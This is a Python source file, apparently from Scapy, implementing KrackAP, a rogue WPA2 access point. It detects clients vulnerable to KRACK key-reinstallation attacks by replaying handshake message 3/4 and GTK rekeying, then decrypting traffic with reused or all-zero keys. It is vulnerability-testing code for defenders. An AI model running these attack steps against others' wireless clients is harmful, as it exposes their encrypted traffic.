import hmac import hashlib from itertools import count import struct import time from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC from cryptography.hazmat.backends import default_backend from scapy.automaton import ATMT, Automaton from scapy.base_classes import Net from scapy.config import conf from scapy.compat import raw, chb from scapy.consts import WINDOWS from scapy.error import log_runtime, Scapy_Exception from scapy.layers.dot11 import RadioTap, Dot11, Dot11AssoReq, Dot11AssoResp, \ Dot11Auth, Dot11Beacon, Dot11Elt, Dot11EltRates, Dot11EltRSN, \ Dot11ProbeReq, Dot11ProbeResp, RSNCipherSuite, AKMSuite from scapy.layers.eap import EAPOL from scapy.layers.l2 import ARP, LLC, SNAP, Ether from scapy.layers.dhcp import DHCP_am from scapy.packet import Raw from scapy.utils import hexdump, mac2str from scapy.volatile import RandBin from scapy.modules.krack.crypto import parse_data_pkt, parse_TKIP_hdr, \ build_TKIP_payload, check_MIC_ICV, MICError, ICVError, build_MIC_ICV, \ customPRF512, ARC4_encrypt class DHCPOverWPA(DHCP_am): """Wrapper over DHCP_am to send and recv inside a WPA channel""" def __init__(self, send_func, *args, **kwargs): super(DHCPOverWPA, self).__init__(*args, **kwargs) self.send_function = send_func def sniff(self, *args, **kwargs): # Do not sniff, use a direct call to 'replay(pkt)' instead return class KrackAP(Automaton): """Tiny WPA AP for detecting client vulnerable to KRACK attacks defined in: "Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2" Example of use: KrackAP( iface="mon0", # A monitor interface ap_mac='11:22:33:44:55:66', # MAC to use ssid="TEST_KRACK", # SSID passphrase="testtest", # Associated passphrase ).run() Then, on the target device, connect to "TEST_KRACK" using "testtest" as the passphrase. The output logs will indicate if one of the CVE have been triggered. """ # Number of "GTK rekeying -> ARP replay" attempts. The vulnerability may not # noqa: E501 # be detected the first time. Several attempt implies the client has been # likely patched ARP_MAX_RETRY = 50 def __init__(self, *args, **kargs): kargs.setdefault("ll", conf.L2socket) kargs.setdefault("monitor", True) super(KrackAP, self).__init__(*args, **kargs) def parse_args(self, ap_mac, ssid, passphrase, channel=None, # KRACK attack options double_3handshake=True, encrypt_3handshake=True, wait_3handshake=0, double_gtk_refresh=True, arp_target_ip=None, arp_source_ip=None, wait_gtk=10, **kwargs): """ Mandatory arguments: @iface: interface to use (must be in monitor mode) @ap_mac: AP's MAC @ssid: AP's SSID @passphrase: AP's Passphrase (min 8 char.) Optional arguments: @channel: used by the interface. Default 6, autodetected on windows Krack attacks options: - Msg 3/4 handshake replay: double_3handshake: double the 3/4 handshake message encrypt_3handshake: encrypt the second 3/4 handshake message wait_3handshake: time to wait (in sec.) before sending the second 3/4 - double GTK rekeying: double_gtk_refresh: double the 1/2 GTK rekeying message wait_gtk: time to wait (in sec.) before sending the GTK rekeying arp_target_ip: Client IP to use in ARP req. (to detect attack success) If None, use a DHCP server arp_source_ip: Server IP to use in ARP req. (to detect attack success) If None, use the DHCP server gateway address """ super(KrackAP, self).parse_args(**kwargs) # Main AP options self.mac = ap_mac self.ssid = ssid self.passphrase = passphrase if channel is None: if WINDOWS: try: channel = kwargs.get("iface", conf.iface).channel() except (Scapy_Exception, AttributeError): channel = 6 else: channel = 6 self.channel = channel # Internal structures self.last_iv = None self.client = None self.seq_num = count() self.replay_counter = count() self.time_handshake_end = None self.dhcp_server = DHCPOverWPA(send_func=self.send_ether_over_wpa, pool=Net("192.168.42.128/25"), network="192.168.42.0/24", gw="192.168.42.1") self.arp_sent = [] self.arp_to_send = 0 self.arp_retry = 0 # Bit 0: 3way handshake sent # Bit 1: GTK rekeying sent # Bit 2: ARP response obtained self.krack_state = 0 # Krack options self.double_3handshake = double_3handshake self.encrypt_3handshake = encrypt_3handshake self.wait_3handshake = wait_3handshake self.double_gtk_refresh = double_gtk_refresh self.arp_target_ip = arp_target_ip if arp_source_ip is None: # Use the DHCP server Gateway address arp_source_ip = self.dhcp_server.gw self.arp_source_ip = arp_source_ip self.wait_gtk = wait_gtk # May take several seconds self.install_PMK() def run(self, *args, **kwargs): log_runtime.warning("AP started with ESSID: %s, BSSID: %s", self.ssid, self.mac) super(KrackAP, self).run(*args, **kwargs) # Key utils @staticmethod def gen_nonce(size): """Return a nonce of @size element of random bytes as a string""" return raw(RandBin(size)) def install_PMK(self): """Compute and install the PMK""" self.pmk = PBKDF2HMAC( algorithm=hashes.SHA1(), length=32, salt=self.ssid.encode(), iterations=4096, backend=default_backend(), ).derive(self.passphrase.encode()) def install_unicast_keys(self, client_nonce): """Use the client nonce @client_nonce to compute and install PTK, KCK, KEK, TK, MIC (AP -> STA), MIC (STA -> AP) """ pmk = self.pmk anonce = self.anonce snonce = client_nonce amac = mac2str(self.mac) smac = mac2str(self.client) # Compute PTK self.ptk = customPRF512(pmk, amac, smac, anonce, snonce) # Extract derivated keys self.kck = self.ptk[:16] self.kek = self.ptk[16:32] self.tk = self.ptk[32:48] self.mic_ap_to_sta = self.ptk[48:56] self.mic_sta_to_ap = self.ptk[56:64] # Reset IV self.client_iv = count() def install_GTK(self): """Compute a new GTK and install it alongs MIC (AP -> Group = broadcast + multicast) """ # Compute GTK self.gtk_full = self.gen_nonce(32) self.gtk = self.gtk_full[:16] # Extract derivated keys self.mic_ap_to_group = self.gtk_full[16:24] # Reset IV self.group_iv = count() # Packet utils def build_ap_info_pkt(self, layer_cls, dest): """Build a packet with info describing the current AP For beacon / proberesp use """ return RadioTap() \ / Dot11(addr1=dest, addr2=self.mac, addr3=self.mac) \ / layer_cls(timestamp=0, beacon_interval=100, cap='ESS+privacy') \ / Dot11Elt(ID="SSID", info=self.ssid) \ / Dot11EltRates(rates=[130, 132, 139, 150, 12, 18, 24, 36]) \ / Dot11Elt(ID="DSset", info=chb(self.channel)) \ / Dot11EltRSN(group_cipher_suite=RSNCipherSuite(cipher=0x2), pairwise_cipher_suites=[RSNCipherSuite(cipher=0x2)], akm_suites=[AKMSuite(suite=0x2)]) @staticmethod def build_EAPOL_Key_8021X2004( key_information, replay_counter, nonce, data=None, key_mic=None, key_data_encrypt=None, key_rsc=0, key_id=0, key_descriptor_type=2, # EAPOL RSN Key ): pkt = EAPOL(version="802.1X-2004", type="EAPOL-Key") key_iv = KrackAP.gen_nonce(16) assert key_rsc == 0 # Other values unsupported assert key_id == 0 # Other values unsupported payload = b"".join([ chb(key_descriptor_type), struct.pack(">H", key_information), b'\x00\x20', # Key length struct.pack(">Q", replay_counter), nonce, key_iv, struct.pack(">Q", key_rsc), struct.pack(">Q", key_id), ]) # MIC field is set to 0's during MIC computation offset_MIC = len(payload) payload += b'\x00' * 0x10 if data is None and key_mic is None and key_data_encrypt is None: # If key is unknown and there is no data, no MIC is needed # Example: handshake 1/4 payload += b'\x00' * 2 # Length return pkt / Raw(load=payload) assert data is not None assert key_mic is not None assert key_data_encrypt is not None # Skip 256 first bytes # REF: 802.11i 8.5.2 # Key Descriptor Version 1: # ... # No padding shall be used. The encryption key is generated by # concatenating the EAPOL-Key IV field and the KEK. The first 256 octets # noqa: E501 # of the RC4 key stream shall be discarded following RC4 stream cipher # initialization with the KEK, and encryption begins using the 257th key # noqa: E501 # stream octet. enc_data = ARC4_encrypt(key_iv + key_data_encrypt, data, skip=256) payload += struct.pack(">H", len(data)) payload += enc_data # Compute MIC and set at the right place temp_mic = pkt.copy() temp_mic /= Raw(load=payload) to_mic = raw(temp_mic[EAPOL]) mic = hmac.new(key_mic, to_mic, hashlib.md5).digest() final_payload = payload[:offset_MIC] + mic + payload[offset_MIC + len(mic):] # noqa: E501 assert len(final_payload) == len(payload) return pkt / Raw(load=final_payload) def build_GTK_KDE(self): """Build the Key Data Encapsulation for GTK KeyID: 0 Ref: 802.11i p81 """ return b''.join([ b'\xdd', # Type KDE chb(len(self.gtk_full) + 6), b'\x00\x0f\xac', # OUI b'\x01', # GTK KDE b'\x00\x00', # KeyID - Tx - Reserved x2 self.gtk_full, ]) def send_wpa_enc(self, data, iv, seqnum, dest, mic_key, key_idx=0, additionnal_flag=["from-DS"], encrypt_key=None): """Send an encrypted packet with content @data, using IV @iv, sequence number @seqnum, MIC key @mic_key """ if encrypt_key is None: encrypt_key = self.tk rep = RadioTap() rep /= Dot11( addr1=dest, addr2=self.mac, addr3=self.mac, FCfield="+".join(['protected'] + additionnal_flag), SC=(next(self.seq_num) << 4), subtype=0, type="Data", ) # Assume packet is send by our AP -> use self.mac as source # Encapsule in TKIP with MIC Michael and ICV data_to_enc = build_MIC_ICV(raw(data), mic_key, self.mac, dest) # Header TKIP + payload rep /= Raw(build_TKIP_payload(data_to_enc, iv, self.mac, encrypt_key)) self.send(rep) return rep def send_wpa_to_client(self, data, **kwargs): kwargs.setdefault("encrypt_key", self.tk) return self.send_wpa_enc(data, next(self.client_iv), next(self.seq_num), self.client, self.mic_ap_to_sta, **kwargs) def send_wpa_to_group(self, data, dest="ff:ff:ff:ff:ff:ff", **kwargs): kwargs.setdefault("encrypt_key", self.gtk) return self.send_wpa_enc(data, next(self.group_iv), next(self.seq_num), dest, self.mic_ap_to_group, **kwargs) def send_ether_over_wpa(self, pkt, **kwargs): """Send an Ethernet packet using the WPA channel Extra arguments will be ignored, and are just left for compatibility """ payload = LLC() / SNAP() / pkt[Ether].payload dest = pkt.dst if dest == "ff:ff:ff:ff:ff:ff": self.send_wpa_to_group(payload, dest) else: assert dest == self.client self.send_wpa_to_client(payload) def deal_common_pkt(self, pkt): # Send to DHCP server # LLC / SNAP to Ether if SNAP in pkt: ether_pkt = Ether(src=self.client, dst=self.mac) / pkt[SNAP].payload # noqa: E501 self.dhcp_server.reply(ether_pkt) # If an ARP request is made, extract client IP and answer if ARP in pkt and \ pkt[ARP].op == 1 and pkt[ARP].pdst == self.dhcp_server.gw: if self.arp_target_ip is None: self.arp_target_ip = pkt[ARP].psrc log_runtime.info("Detected IP: %s", self.arp_target_ip) # Reply ARP_ans = LLC() / SNAP() / ARP( op="is-at", psrc=self.arp_source_ip, pdst=self.arp_target_ip, hwsrc=self.mac, hwdst=self.client, ) self.send_wpa_to_client(ARP_ans) # States @ATMT.state(initial=True) def WAIT_AUTH_REQUEST(self): log_runtime.debug("State WAIT_AUTH_REQUEST") @ATMT.state() def AUTH_RESPONSE_SENT(self): log_runtime.debug("State AUTH_RESPONSE_SENT") @ATMT.state() def ASSOC_RESPONSE_SENT(self): log_runtime.debug("State ASSOC_RESPONSE_SENT") @ATMT.state() def WPA_HANDSHAKE_STEP_1_SENT(self): log_runtime.debug("State WPA_HANDSHAKE_STEP_1_SENT") @ATMT.state() def WPA_HANDSHAKE_STEP_3_SENT(self): log_runtime.debug("State WPA_HANDSHAKE_STEP_3_SENT") @ATMT.state() def KRACK_DISPATCHER(self): log_runtime.debug("State KRACK_DISPATCHER") @ATMT.state() def ANALYZE_DATA(self): log_runtime.debug("State ANALYZE_DATA") @ATMT.timeout(ANALYZE_DATA, 1) def timeout_analyze_data(self): raise self.KRACK_DISPATCHER() @ATMT.state() def RENEW_GTK(self): log_runtime.debug("State RENEW_GTK") @ATMT.state() def WAIT_GTK_ACCEPT(self): log_runtime.debug("State WAIT_GTK_ACCEPT") @ATMT.state() def WAIT_ARP_REPLIES(self): log_runtime.debug("State WAIT_ARP_REPLIES") @ATMT.state(final=1) def EXIT(self): log_runtime.debug("State EXIT") @ATMT.timeout(WAIT_GTK_ACCEPT, 1) def timeout_wait_gtk_accept(self): raise self.RENEW_GTK() @ATMT.timeout(WAIT_AUTH_REQUEST, 0.1) def timeout_waiting(self): raise self.WAIT_AUTH_REQUEST() @ATMT.action(timeout_waiting) def send_beacon(self): log_runtime.debug("Send a beacon") rep = self.build_ap_info_pkt(Dot11Beacon, dest="ff:ff:ff:ff:ff:ff") self.send(rep) @ATMT.receive_condition(WAIT_AUTH_REQUEST) def probe_request_received(self, pkt): # Avoid packet from other interfaces if RadioTap not in pkt: return if Dot11ProbeReq in pkt and pkt[Dot11Elt::{'ID': 0}].info == self.ssid: raise self.WAIT_AUTH_REQUEST().action_parameters(pkt) @ATMT.action(probe_request_received) def send_probe_response(self, pkt): rep = self.build_ap_info_pkt(Dot11ProbeResp, dest=pkt.addr2) self.send(rep) @ATMT.receive_condition(WAIT_AUTH_REQUEST) def authent_received(self, pkt): # Avoid packet from other interfaces if RadioTap not in pkt: return if Dot11Auth in pkt and pkt.addr1 == pkt.addr3 == self.mac: raise self.AUTH_RESPONSE_SENT().action_parameters(pkt) @ATMT.action(authent_received) def send_auth_response(self, pkt): # Save client MAC for later self.client = pkt.addr2 log_runtime.warning("Client %s connected!", self.client) # Launch DHCP Server self.dhcp_server.run() rep = RadioTap() rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac) rep /= Dot11Auth(seqnum=2, algo=pkt[Dot11Auth].algo, status=pkt[Dot11Auth].status) self.send(rep) @ATMT.receive_condition(AUTH_RESPONSE_SENT) def assoc_received(self, pkt): if Dot11AssoReq in pkt and pkt.addr1 == pkt.addr3 == self.mac and \ pkt[Dot11Elt::{'ID': 0}].info == self.ssid: raise self.ASSOC_RESPONSE_SENT().action_parameters(pkt) @ATMT.action(assoc_received) def send_assoc_response(self, pkt): # Get RSN info temp_pkt = pkt[Dot11Elt::{"ID": 48}].copy() temp_pkt.remove_payload() self.RSN = raw(temp_pkt) # Avoid 802.11w, etc. (deactivate RSN capabilities) self.RSN = self.RSN[:-2] + b"\x00\x00" rep = RadioTap() rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac) rep /= Dot11AssoResp() rep /= Dot11EltRates(rates=[130, 132, 139, 150, 12, 18, 24, 36]) self.send(rep) @ATMT.condition(ASSOC_RESPONSE_SENT) def assoc_sent(self): raise self.WPA_HANDSHAKE_STEP_1_SENT() @ATMT.action(assoc_sent) def send_wpa_handshake_1(self): self.anonce = self.gen_nonce(32) rep = RadioTap() rep /= Dot11( addr1=self.client, addr2=self.mac, addr3=self.mac, FCfield='from-DS', SC=(next(self.seq_num) << 4), ) rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3) rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication rep /= self.build_EAPOL_Key_8021X2004( key_information=0x89, replay_counter=next(self.replay_counter), nonce=self.anonce, ) self.send(rep) @ATMT.receive_condition(WPA_HANDSHAKE_STEP_1_SENT) def wpa_handshake_1_sent(self, pkt): # Avoid packet from other interfaces if RadioTap not in pkt: return if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \ pkt[EAPOL].load[1:2] == b"\x01": # Key MIC: set, Secure / Error / Request / Encrypted / SMK # message: not set raise self.WPA_HANDSHAKE_STEP_3_SENT().action_parameters(pkt) @ATMT.action(wpa_handshake_1_sent) def send_wpa_handshake_3(self, pkt): # Both nonce have been exchanged, install keys client_nonce = pkt[EAPOL].load[13:13 + 0x20] self.install_unicast_keys(client_nonce) # Check client MIC # Data: full message with MIC place replaced by 0s # https://stackoverflow.com/questions/15133797/creating-wpa-message-integrity-code-mic-with-python client_mic = pkt[EAPOL].load[77:77 + 16] client_data = raw(pkt[EAPOL]).replace(client_mic, b"\x00" * len(client_mic)) # noqa: E501 assert hmac.new(self.kck, client_data, hashlib.md5).digest() == client_mic # noqa: E501 rep = RadioTap() rep /= Dot11( addr1=self.client, addr2=self.mac, addr3=self.mac, FCfield='from-DS', SC=(next(self.seq_num) << 4), ) rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3) rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication self.install_GTK() data = self.RSN data += self.build_GTK_KDE() eap = self.build_EAPOL_Key_8021X2004( key_information=0x13c9, replay_counter=next(self.replay_counter), nonce=self.anonce, data=data, key_mic=self.kck, key_data_encrypt=self.kek, ) self.send(rep / eap) @ATMT.receive_condition(WPA_HANDSHAKE_STEP_3_SENT) def wpa_handshake_3_sent(self, pkt): # Avoid packet from other interfaces if RadioTap not in pkt: return if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \ pkt[EAPOL].load[1:3] == b"\x03\x09": self.time_handshake_end = time.time() raise self.KRACK_DISPATCHER() @ATMT.condition(KRACK_DISPATCHER) def krack_dispatch(self): now = time.time() # Handshake 3/4 replay if self.double_3handshake and (self.krack_state & 1 == 0) and \ (now - self.time_handshake_end) > self.wait_3handshake: log_runtime.info("Trying to trigger CVE-2017-13077") raise self.ANALYZE_DATA().action_parameters(send_3handshake=True) # GTK rekeying if (self.krack_state & 2 == 0) and \ (now - self.time_handshake_end) > self.wait_gtk: raise self.ANALYZE_DATA().action_parameters(send_gtk=True) # Fallback in data analysis raise self.ANALYZE_DATA().action_parameters() @ATMT.action(krack_dispatch) def krack_proceed(self, send_3handshake=False, send_gtk=False): if send_3handshake: rep = RadioTap() rep /= Dot11( addr1=self.client, addr2=self.mac, addr3=self.mac, FCfield='from-DS', SC=(next(self.seq_num) << 4), subtype=0, type="Data", ) rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3) rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication data = self.RSN data += self.build_GTK_KDE() eap_2 = self.build_EAPOL_Key_8021X2004( # Key information 0x13c9: # ARC4 HMAC-MD5, Pairwise Key, Install, KEY ACK, KEY MIC, Secure, # noqa: E501 # Encrypted, SMK key_information=0x13c9, replay_counter=next(self.replay_counter), nonce=self.anonce, data=data, key_mic=self.kck, key_data_encrypt=self.kek, ) rep /= eap_2 if self.encrypt_3handshake: self.send_wpa_to_client(rep[LLC]) else: self.send(rep) self.krack_state |= 1 if send_gtk: self.krack_state |= 2 # Renew the GTK self.install_GTK() raise self.RENEW_GTK() @ATMT.receive_condition(ANALYZE_DATA) def get_data(self, pkt): # Avoid packet from other interfaces if RadioTap not in pkt: return # Skip retries if pkt[Dot11].FCfield.retry: return # Skip unencrypted frames (TKIP rely on encrypted packets) if not pkt[Dot11].FCfield.protected: return # Dot11.type 2: Data if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac: # Do not check pkt.addr3, frame can be broadcast raise self.KRACK_DISPATCHER().action_parameters(pkt) @ATMT.action(get_data) def extract_iv(self, pkt): # Get IV TSC, _, _ = parse_TKIP_hdr(pkt) iv = TSC[0] | (TSC[1] << 8) | (TSC[2] << 16) | (TSC[3] << 24) | \ (TSC[4] << 32) | (TSC[5] << 40) log_runtime.info("Got a packet with IV: %s", hex(iv)) if self.last_iv is None: self.last_iv = iv else: if iv <= self.last_iv: log_runtime.warning("IV re-use!! Client seems to be " "vulnerable to handshake 3/4 replay " "(CVE-2017-13077)" ) data_clear = None # Normal decoding data = parse_data_pkt(pkt, self.tk) try: data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2, pkt.addr3) except (ICVError, MICError): pass # Decoding with a 0's TK if data_clear is None: data = parse_data_pkt(pkt, b"\x00" * len(self.tk)) try: mic_key = b"\x00" * len(self.mic_sta_to_ap) data_clear = check_MIC_ICV(data, mic_key, pkt.addr2, pkt.addr3) log_runtime.warning("Client has installed an all zero " "encryption key (TK)!!") except (ICVError, MICError): pass if data_clear is None: log_runtime.warning("Unable to decode the packet, something went " "wrong") log_runtime.debug(hexdump(pkt, dump=True)) self.deal_common_pkt(pkt) return log_runtime.debug(hexdump(data_clear, dump=True)) pkt = LLC(data_clear) log_runtime.debug(repr(pkt)) self.deal_common_pkt(pkt) @ATMT.condition(RENEW_GTK) def gtk_pkt_1(self): raise self.WAIT_GTK_ACCEPT() @ATMT.action(gtk_pkt_1) def send_renew_gtk(self): rep_to_enc = LLC(dsap=0xaa, ssap=0xaa, ctrl=3) rep_to_enc /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication data = self.build_GTK_KDE() eap = self.build_EAPOL_Key_8021X2004( # Key information 0x1381: # ARC4 HMAC-MD5, Group Key, KEY ACK, KEY MIC, Secure, Encrypted, # SMK key_information=0x1381, replay_counter=next(self.replay_counter), nonce=self.anonce, data=data, key_mic=self.kck, key_data_encrypt=self.kek, ) rep_to_enc /= eap self.send_wpa_to_client(rep_to_enc) @ATMT.receive_condition(WAIT_GTK_ACCEPT) def get_gtk_2(self, pkt): # Avoid packet from other interfaces if RadioTap not in pkt: return # Skip retries if pkt[Dot11].FCfield.retry: return # Skip unencrypted frames (TKIP rely on encrypted packets) if not pkt[Dot11].FCfield.protected: return # Normal decoding try: data = parse_data_pkt(pkt, self.tk) except ValueError: return try: data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2, pkt.addr3) except (ICVError, MICError): return pkt_clear = LLC(data_clear) if EAPOL in pkt_clear and pkt.addr1 == pkt.addr3 == self.mac and \ pkt_clear[EAPOL].load[1:3] == b"\x03\x01": raise self.WAIT_ARP_REPLIES() @ATMT.action(get_gtk_2) def send_arp_req(self): if self.krack_state & 4 == 0: # Set the address for future uses self.arp_target_ip = self.dhcp_server.leases.get(self.client, self.arp_target_ip) # noqa: E501 assert self.arp_target_ip is not None # Send the first ARP requests, for control test log_runtime.info("Send ARP who-was from '%s' to '%s'", self.arp_source_ip, self.arp_target_ip) arp_pkt = self.send_wpa_to_group( LLC() / SNAP() / ARP(op="who-has", psrc=self.arp_source_ip, pdst=self.arp_target_ip, hwsrc=self.mac), dest='ff:ff:ff:ff:ff:ff', ) self.arp_sent.append(arp_pkt) else: if self.arp_to_send < len(self.arp_sent): # Re-send the ARP requests already sent self.send(self.arp_sent[self.arp_to_send]) self.arp_to_send += 1 else: # Re-send GTK self.arp_to_send = 0 self.arp_retry += 1 log_runtime.info("Trying to trigger CVE-2017-13080 %d/%d", self.arp_retry, self.ARP_MAX_RETRY) if self.arp_retry > self.ARP_MAX_RETRY: # We retries 100 times to send GTK, then already sent ARPs log_runtime.warning("Client is likely not vulnerable to " "CVE-2017-13080") raise self.EXIT() raise self.RENEW_GTK() @ATMT.timeout(WAIT_ARP_REPLIES, 0.5) def resend_arp_req(self): self.send_arp_req() raise self.WAIT_ARP_REPLIES() @ATMT.receive_condition(WAIT_ARP_REPLIES) def get_arp(self, pkt): # Avoid packet from other interfaces if RadioTap not in pkt: return # Skip retries if pkt[Dot11].FCfield.retry: return # Skip unencrypted frames (TKIP rely on encrypted packets) if not pkt[Dot11].FCfield.protected: return # Dot11.type 2: Data if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac: # Do not check pkt.addr3, frame can be broadcast raise self.WAIT_ARP_REPLIES().action_parameters(pkt) @ATMT.action(get_arp) def check_arp_reply(self, pkt): data = parse_data_pkt(pkt, self.tk) try: data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2, pkt.addr3) except (ICVError, MICError): return decoded_pkt = LLC(data_clear) log_runtime.debug(hexdump(decoded_pkt, dump=True)) log_runtime.debug(repr(decoded_pkt)) self.deal_common_pkt(decoded_pkt) if ARP not in decoded_pkt: return # ARP.op 2: is-at if decoded_pkt[ARP].op == 2 and \ decoded_pkt[ARP].psrc == self.arp_target_ip and \ decoded_pkt[ARP].pdst == self.arp_source_ip: # Got the expected ARP if self.krack_state & 4 == 0: # First time, normal behavior log_runtime.info("Got ARP reply, this is normal") self.krack_state |= 4 log_runtime.info("Trying to trigger CVE-2017-13080") raise self.RENEW_GTK() else: # Second time, the packet has been accepted twice! log_runtime.warning("Broadcast packet accepted twice!! " "(CVE-2017-13080)")